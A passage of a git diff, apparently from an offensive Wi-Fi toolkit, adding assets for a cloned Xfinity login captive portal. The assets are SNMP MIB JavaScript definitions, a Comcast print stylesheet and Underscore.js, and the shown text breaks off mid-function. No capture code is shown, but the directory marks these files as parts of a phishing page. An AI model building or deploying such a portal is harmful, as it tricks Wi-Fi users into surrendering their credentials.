mib2system2 = new Container("mib2system2", "1.3.6.1.4.1.4115.1.3.4.1.460"); +mib2system2.SoftwareImageName = new Scalar("SoftwareImageName","1.3.6.1.4.1.4115.1.3.4.1.460.1",2); +mib2system2.AdvancedServices = new Scalar("AdvancedServices","1.3.6.1.4.1.4115.1.3.4.1.460.2",2); +var mib2system2SoftwareImageName = mib2system2.SoftwareImageName; +var mib2system2AdvancedServices = mib2system2.AdvancedServices; + +//battery +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); +MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +MtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column("MtaDevNumberofCycles", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5", 2); +var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; +var arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles; + +var MtaDevBatteryStatus = new Container("MtaDevBatteryStatus", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar("MtaDevTotalCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.5",2); +MtaDevBatteryStatus.MtaDevActualCapacity = new Scalar("MtaDevActualCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.6",2); +var mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity; +var mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity; + +//remote management +var cmDocExtendCmParamterTable = new Table("cmDocExtendCmParamterTable", "1.3.6.1.4.1.4115.1.3.4.1.8.7"); +cmDocExtendCmParamterTable.CmParamterType = new Column("CmParamterType","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2",2); +cmDocExtendCmParamterTable.CmParamterIpAddress = new Column("CmParamterIpAddress","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3",4); +var arCmParamterType=cmDocExtendCmParamterTable.CmParamterType; +var arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress; + +//moca +var ArrisMoCAMib = new Container("ArrisMoCAMib", "1.3.6.1.4.1.4115.1.21"); +ArrisMoCAMib.MoCAApplySettings= new Scalar("MoCAApplySettings","1.3.6.1.4.1.4115.1.21.2",2); +var arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings; + +var mocaConfigation = new Container("mocaConfigation", "1.3.6.1.4.1.4115.1.21.1"); +mocaConfigation.ChanncelSetMethod = new Scalar("ChanncelSetMethod","1.3.6.1.4.1.4115.1.21.1.1",2); +mocaConfigation.TabooChanncel = new Scalar("TabooChanncel","1.3.6.1.4.1.4115.1.21.1.4",66); +mocaConfigation.mocaChanncelMark = new Scalar("mocaChanncelMark","1.3.6.1.4.1.4115.1.21.1.2",66); +mocaConfigation.mocaLOF = new Scalar("mocaLOF","1.3.6.1.4.1.4115.1.21.1.5",2); +mocaConfigation.mocaPrimchnoff = new Scalar("mocaPrimchnoff","1.3.6.1.4.1.4115.1.21.1.6",2); + +var arChanncelSetMethod = mocaConfigation.ChanncelSetMethod; +var arTabooChanncel = mocaConfigation.TabooChanncel; +var armocaChanncelMark = mocaConfigation.mocaChanncelMark; +var armocaLOF = mocaConfigation.mocaLOF; +var armocaPrimchnoff = mocaConfigation.mocaPrimchnoff; + + +//Gateway > Hardware > LAN Ethernet +//var mib2interface2 = new Container("mib2interface2", "1.3.6.1.2.1.2.2.1.5.4.462"); +//mib2interface2.ifPort4Enable = new Scalar("ifPort4Enable","1.3.6.1.2.1.2.2.1.5.4.462.1",2); +//var arifPort4Enable = mib2interface2.ifPort4Enable; + +//Gateway > Hardware > USB : port 1/port 2 +var mib2interfaceUSB = new Container("mib2interfaceUSB", "1.3.6.1.4.1.4.2.1.5.4.463"); +mib2interfaceUSB.USB1status= new Scalar("USB1status","1.3.6.1.4.1.4.2.1.5.4.463.1"); +mib2interfaceUSB.USB1Desc= new Scalar("USB1Desc", "1.3.6.1.4.1.4.2.1.5.4.463.2"); +mib2interfaceUSB.USB1SN= new Scalar("USB1SN", "1.3.6.1.4.1.4.2.1.5.4.463.3"); +mib2interfaceUSB.USB1Speed= new Scalar("USB1Speed","1.3.6.1.4.1.4.2.1.5.4.463.4"); +mib2interfaceUSB.USB1Manufacturer= new Scalar("USB1Manufacturer","1.3.6.1.4.1.4.2.1.5.4.463.5"); +var arUSB1status=mib2interfaceUSB.USB1status; +var arUSB1Desc=mib2interfaceUSB.USB1Desc; +var arUSB1SN=mib2interfaceUSB.USB1SN; +var arUSB1Speed=mib2interfaceUSB.USB1Speed; +var arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer; + +//Connected Devices > Network Storage, NetworkStorage +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); + MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; + +var mib2interfaceNetworkStorageTable= new Table("mib2interfaceNetworkStorageTable", "1.3.6.1.4.1.4.2.1.5.4.464"); +mib2interfaceNetworkStorageTable.NSName= new Column("NSName", "1.3.6.1.4.1.4.2.1.5.4.464.1.1"); +mib2interfaceNetworkStorageTable.NSFileSystem = new Column("NSFileSystem", "1.3.6.1.4.1.4.2.1.5.4.464.1.2"); +mib2interfaceNetworkStorageTable.NSSpaceAvailable = new Column("NSSpaceAvailable", "1.3.6.1.4.1.4.2.1.5.4.464.1.3"); +mib2interfaceNetworkStorageTable.NSTotalSpace= new Column("NSTotalSpace","1.3.6.1.4.1.4.2.1.5.4.464.1.4"); +mib2interfaceNetworkStorageTable.NSLocation= new Column("NSLocation","1.3.6.1.4.1.4.2.1.5.4.464.1.5"); +var arNSName= mib2interfaceNetworkStorageTable.NSName; +var arNSFileSystem = mib2interfaceNetworkStorageTable.NSFileSystem; +var arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable; +var arNSTotalSpace = mib2interfaceNetworkStorageTable.NSTotalSpace; +var arNSLocation = mib2interfaceNetworkStorageTable.NSLocation; + + +// Range Extenders +var mib2interfaceRangeExtender=new Table("mib2interfaceRangeExtender", "1.3.6.1.4.1.4.2.1.5.4.465"); +mib2interfaceRangeExtender.RangeExtenderName =new Column("RangeExtenderName", "1.3.6.1.4.1.4.2.1.5.4.465.1.1"); +mib2interfaceRangeExtender.RESSID =new Column("RESSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.2"); +mib2interfaceRangeExtender.REBSSID =new Column("REBSSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.3"); +mib2interfaceRangeExtender.REFrequencyBand =new Column("REFrequencyBand", "1.3.6.1.4.1.4.2.1.5.4.465.1.4"); +mib2interfaceRangeExtender.REChannel =new Column("REChannel", "1.3.6.1.4.1.4.2.1.5.4.465.1.5"); +mib2interfaceRangeExtender.RESecurityMode =new Column("RESecurityMode", "1.3.6.1.4.1.4.2.1.5.4.465.1.6"); +var arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName ; +var arRESSID =mib2interfaceRangeExtender.RESSID ; +var arREBSSID =mib2interfaceRangeExtender.REBSSID ; +var arREFrequencyBand =mib2interfaceRangeExtender.REFrequencyBand ; +var arREChannel =mib2interfaceRangeExtender.REChannel ; +var arRESecurityMode =mib2interfaceRangeExtender.RESecurityMode ; + + +// Advanced >> remote_management +var mib2interfaceRemoteManagement = new Container("mib2interfaceRemoteManagement", "1.3.6.1.4.1.4.2.1.5.4.466"); +mib2interfaceRemoteManagement.RMEnableHttp= new Scalar("RMEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.466.1", 2); +mib2interfaceRemoteManagement.RMEnableHttps= new Scalar("RMEnableHttps", "1.3.6.1.4.1.4.2.1.5.4.466.2", 2); +mib2interfaceRemoteManagement.RMAddrv4= new Scalar("RMAddrv4", "1.3.6.1.4.1.4.2.1.5.4.466.3", 2); +mib2interfaceRemoteManagement.RMAddrv6= new Scalar("RMAddrv6", "1.3.6.1.4.1.4.2.1.5.4.466.4", 2); +mib2interfaceRemoteManagement.RMAllowedIndex= new Scalar("RMAllowedIndex", "1.3.6.1.4.1.4.2.1.5.4.466.5", 2); +mib2interfaceRemoteManagement.RMAddrv4From= new Scalar("RMAddrv4From", "1.3.6.1.4.1.4.2.1.5.4.466.6", 2); +mib2interfaceRemoteManagement.RMAddrv4End= new Scalar("RMAddrv4End", "1.3.6.1.4.1.4.2.1.5.4.466.7", 2); +mib2interfaceRemoteManagement.RMAddrv6From= new Scalar("RMAddrv6From", "1.3.6.1.4.1.4.2.1.5.4.466.8", 2); +mib2interfaceRemoteManagement.RMAddrv6End= new Scalar("RMAddrv6End", "1.3.6.1.4.1.4.2.1.5.4.466.9", 2); +mib2interfaceRemoteManagement.RMTelnetEnble= new Scalar("RMTelnetEnble", "1.3.6.1.4.1.4.2.1.5.4.466.10", 2); +mib2interfaceRemoteManagement.RMSSHEnable= new Scalar("RMSSHEnable", "1.3.6.1.4.1.4.2.1.5.4.466.11", 2); +var arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp; +var arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps; +var arRMAddrv4= mib2interfaceRemoteManagement.RMAddrv4; +var arRMAddrv6= mib2interfaceRemoteManagement.RMAddrv6; +var arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex; +var arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From; +var arRMAddrv4End= mib2interfaceRemoteManagement.RMAddrv4End; +var arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From; +var arRMAddrv6End= mib2interfaceRemoteManagement.RMAddrv6End; +var arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble; +var arRMSSHEnable= mib2interfaceRemoteManagement.RMSSHEnable; + +// Advanced >> Radius Servers +var RadiusServerTable =new Table ("RadiusServerTable","1.3.6.1.4.1.4.2.1.5.4.469"); +RadiusServerTable.RSEnable =new Column("RSEnable", "1.3.6.1.4.1.4.2.1.5.4.469.1.1"); +RadiusServerTable.RSIp =new Column("RSIp", "1.3.6.1.4.1.4.2.1.5.4.469.1.2"); +RadiusServerTable.RSAuthPort =new Column("RSAuthPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.3"); +RadiusServerTable.RSAcctPort =new Column("RSAcctPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.4"); +RadiusServerTable.RSLocalIF =new Column("RSLocalIF", "1.3.6.1.4.1.4.2.1.5.4.469.1.5"); +RadiusServerTable.RSTimout =new Column("RSTimout", "1.3.6.1.4.1.4.2.1.5.4.469.1.6"); +RadiusServerTable.RSReAuthTmt =new Column("RSReAuthTmt", "1.3.6.1.4.1.4.2.1.5.4.469.1.7"); +RadiusServerTable.RSSharedSecret=new Column("RSSharedSecret", "1.3.6.1.4.1.4.2.1.5.4.469.1.8"); +var arRSEnable = RadiusServerTable.RSEnable ; +var arRSIp = RadiusServerTable.RSIp ; +var arRSAuthPort = RadiusServerTable.RSAuthPort ; +var arRSAcctPort = RadiusServerTable.RSAcctPort ; +var arRSLocalIF = RadiusServerTable.RSLocalIF ; +var arRSTimout = RadiusServerTable.RSTimout ; +var arRSReAuthTmt = RadiusServerTable.RSReAuthTmt ; +var arRSSharedSecret= RadiusServerTable.RSSharedSecret; + +// samba_server_config.php +var FileShareTable =new Table ("FileShareTable","1.3.6.1.4.1.4.2.1.5.4.472"); +FileShareTable.FSDirectory =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.472.1.1"); +FileShareTable.FSName =new Column("FSName", "1.3.6.1.4.1.4.2.1.5.4.472.1.2"); +FileShareTable.FSVisible =new Column("FSVisible", "1.3.6.1.4.1.4.2.1.5.4.472.1.3"); +FileShareTable.FSPermissions =new Column("FSPermissions", "1.3.6.1.4.1.4.2.1.5.4.472.1.4"); +FileShareTable.FSEnableHttp =new Column("FSEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.472.1.5"); +FileShareTable.FSEnableFTP =new Column("FSEnableFTP", "1.3.6.1.4.1.4.2.1.5.4.472.1.6"); +FileShareTable.FSDesc =new Column("FSDesc", "1.3.6.1.4.1.4.2.1.5.4.472.1.7"); +FileShareTable.FSUSB12 =new Column("FSUSB12", "1.3.6.1.4.1.4.2.1.5.4.472.1.8"); +var arFSDirectory =FileShareTable.FSDirectory; +var arFSName =FileShareTable.FSName; +var arFSVisible =FileShareTable.FSVisible; +var arFSPermissions =FileShareTable.FSPermissions; +var arFSEnableHttp =FileShareTable.FSEnableHttp; +var arFSEnableFTP =FileShareTable.FSEnableFTP; +var arFSUSB12 =FileShareTable.FSUSB12; + +// samba_server_config.php +var FileShareManage = new Container("FileShareManage", "1.3.6.1.4.1.4.2.1.5.4.471"); +FileShareManage.FSMShare= new Scalar("FSMShare", "1.3.6.1.4.1.4.2.1.5.4.471.1",2); +FileShareManage.FSMName= new Scalar("FSMName", "1.3.6.1.4.1.4.2.1.5.4.471.2",2); +FileShareManage.FSMReserve= new Scalar("FSMReserve","1.3.6.1.4.1.4.2.1.5.4.471.3",2); +var arFSMShare= FileShareManage.FSMShare; +var arFSMName= FileShareManage.FSMName; +var arFSMReserve= FileShareManage.FSMReserve; + + +//qos1.php +var QOSSettings = new Container("QOSSettings", "1.3.6.1.4.1.4.2.1.5.4.473"); +QOSSettings.QOS4Wmmd= new Scalar("QOS4Wmmd", "1.3.6.1.4.1.4.2.1.5.4.473.1",2); +QOSSettings.QOS4Moca= new Scalar("QOS4Moca", "1.3.6.1.4.1.4.2.1.5.4.473.2",2); +QOSSettings.QOS4Lan= new Scalar("QOS4Lan", "1.3.6.1.4.1.4.2.1.5.4.473.3",2); +QOSSettings.QOS4Upnp= new Scalar("QOS4Upnp", "1.3.6.1.4.1.4.2.1.5.4.473.4",2); +var arQOS4Wmmd= QOSSettings.QOS4Wmmd; +var arQOS4Moca= QOSSettings.QOS4Moca; +var arQOS4Lan= QOSSettings.QOS4Lan; +var arQOS4Upnp= QOSSettings.QOS4Upnp; + +//dlna_settings.php +var DLNASettings = new Container("DLNASettings", "1.3.6.1.4.1.4.2.1.5.4.474"); +DLNASettings.DLNAEnabled= new Scalar("DLNAEnabled","1.3.6.1.4.1.4.2.1.5.4.474.1", 2); +DLNASettings.DLNAMediaType= new Scalar("DLNAMediaType","1.3.6.1.4.1.4.2.1.5.4.474.2", 2); +DLNASettings.DLNAMediaSrc= new Scalar("DLNAMediaSrc","1.3.6.1.4.1.4.2.1.5.4.474.3", 2); +DLNASettings.DLNAMediaPath= new Scalar("DLNAMediaPath","1.3.6.1.4.1.4.2.1.5.4.474.4", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.5", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.6", 2); +var arDLNAEnabled= DLNASettings.DLNAEnabled; +var arDLNAMediaType= DLNASettings.DLNAMediaType; +var arDLNAMediaSrc= DLNASettings.DLNAMediaSrc; +var arDLNAMediaPath= DLNASettings.DLNAMediaPath; + +// digital_media_players.php +var DLMediaPlayer =new Table ("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475"); +DLMediaPlayer.DLMPName =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.475.1.1"); +DLMediaPlayer.DLMPAllw =new Column("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475.1.2"); +var arDLMPName = DLMediaPlayer.DLMPName; +var arDLMPAllw = DLMediaPlayer.DLMPAllw; + +// digital_media_index.php +var DLMIndexTable =new Table ("DLMIndexTable","1.3.6.1.4.1.4.2.1.5.4.476"); +DLMIndexTable.DLMName =new Column("DLMName", "1.3.6.1.4.1.4.2.1.5.4.476.1.1"); +DLMIndexTable.DLMGenre =new Column("DLMGenre", "1.3.6.1.4.1.4.2.1.5.4.476.1.2"); +DLMIndexTable.DLMArtist =new Column("DLMArtist", "1.3.6.1.4.1.4.2.1.5.4.476.1.3"); +DLMIndexTable.DLMDurat =new Column("DLMDurat", "1.3.6.1.4.1.4.2.1.5.4.476.1.4"); +DLMIndexTable.DLMFold =new Column("DLMFold", "1.3.6.1.4.1.4.2.1.5.4.476.1.5"); +DLMIndexTable.DLMRate =new Column("DLMRate", "1.3.6.1.4.1.4.2.1.5.4.476.1.6"); +DLMIndexTable.DLMAlbum =new Column("DLMAlbum", "1.3.6.1.4.1.4.2.1.5.4.476.1.7"); +DLMIndexTable.DLMCmmnt =new Column("DLMCmmnt", "1.3.6.1.4.1.4.2.1.5.4.476.1.9"); +DLMIndexTable.DLMType =new Column("DLMType", "1.3.6.1.4.1.4.2.1.5.4.476.1.8"); +var arDLMName = DLMIndexTable.DLMName ; // string +var arDLMGenre = DLMIndexTable.DLMGenre ; // 1-8,Fiction, Action, Drama, Comedy, + // Classical, Rock, Fusion, Metal. +var arDLMArtist = DLMIndexTable.DLMArtist ; // string +var arDLMDurat = DLMIndexTable.DLMDurat ; // number +var arDLMFold = DLMIndexTable.DLMFold ; // string +var arDLMRate = DLMIndexTable.DLMRate ; // 1-3: G, PG, R +var arDLMAlbum = DLMIndexTable.DLMAlbum ; // string (music) +var arDLMCmmnt = DLMIndexTable.DLMCmmnt ; // string (picture) +var arDLMType = DLMIndexTable.DLMType ; // png(1), jpeg(2); + // Video (8) + // TV Shows (16) + // Pictures (24) diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css new file mode 100755 index 0000000..3c0c422 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css @@ -0,0 +1,50 @@ +/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */ + +/*---------------------------------------- +Name: global.css +Developed by: Seth Lemoine, Schematic +Date Created: Dec 7, 2009 +Copyright: Comcast +----------------------------------------*/ + +/* Elements +----------------------------------------*/ +body { + font-family: Arial, Helvetica, sans-serif; + +} + +* { + color: #000; + float: none; + font-size: 11pt; + text-decoration:none; + width: auto; +} + +#header, +#footer, +#userToolbar, +#status, +#nav, +a, +button, +input, +.noprint { + display: none; +} + +h1 { + font-size: 24pt; +} + +table { + border-collapse: collapse; +} + +th, +td { + border: 1px solid #ccc; + padding: 4pt; + text-align: left; +} diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js new file mode 100755 index 0000000..6bf375e --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js @@ -0,0 +1,716 @@ +// (c) 2010 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets thrown to break out of a loop iteration. + var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__'; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty, + propertyIsEnumerable = ObjProto.propertyIsEnumerable; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **CommonJS**. + if (typeof exports !== 'undefined') exports._ = _; + + // Export Underscore to the global scope. + root._ = _; + + // Current version. + _.VERSION = '1.1.2'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects implementing `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + try { + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (_.isNumber(obj.length)) { + for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj); + } else { + for (var key in obj) { + if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj); + } + } + } catch(e) { + if (e != breaker) throw e; + } + return obj; + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = function(obj, iterator, context) { + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + var results = []; + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return obj.reduce(iterator, memo); + } + each(obj, function(value, index, list) { + memo = iterator.call(context, memo, value, index, list); + }); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return obj.reduceRight(iterator, memo); + } + var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse(); + return _.reduce(reversed, iterator, memo, context); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + _.breakLoop(); + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + var results = []; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + var result = true; + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop(); + }); + return result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + _.some = _.any = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + var result = false; + each(obj, function(value, index, list) { + if (result = iterator.call(context, value, index, list)) _.breakLoop(); + }); + return result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + var found = false; + each(obj, function(value) { + if (found = value === target) _.breakLoop(); + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (method ? value[method] : value).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, iterator, context) { + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator = iterator || _.identity; + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + if (_.isArray(iterable)) return iterable; + if (_.isArguments(iterable)) return slice.call(iterable); + return _.values(iterable); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.toArray(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head`. The **guard** check allows it to work + // with `_.map`. + _.first = _.head = function(array, n, guard) { + return n && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, _.isUndefined(index) || guard ? 1 : index); + }; + + // Get the last element of an array. + _.last = function(array) { + return array[array.length - 1]; + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(_.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + var values = slice.call(arguments, 1); + return _.filter(array, function(value){ return !_.include(values, value); }); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted) { + return _.reduce(array, function(memo, el, i) { + if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el; + return memo; + }, []); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. + _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + _.indexOf = function(array, item) { + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i; + return -1; + }; + + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + var args = slice.call(arguments), + solo = args.length <= 1, + start = solo ? 0 : args[0], + stop = solo ? args[0] : args[1], + step = args[2] || 1, + len = Math.max(Math.ceil((stop - start) / step), 0), + idx = 0, + range = new Array(len); + while (idx < len) { + range[idx++] = start; + start += step; + } + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + _.bind = function(func, obj) { + var args = slice.call(arguments, 2); + return function() { + return func.apply(obj || {}, args.concat(slice.call(arguments))); + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher = hasher || _.identity; + return function() { + var key = 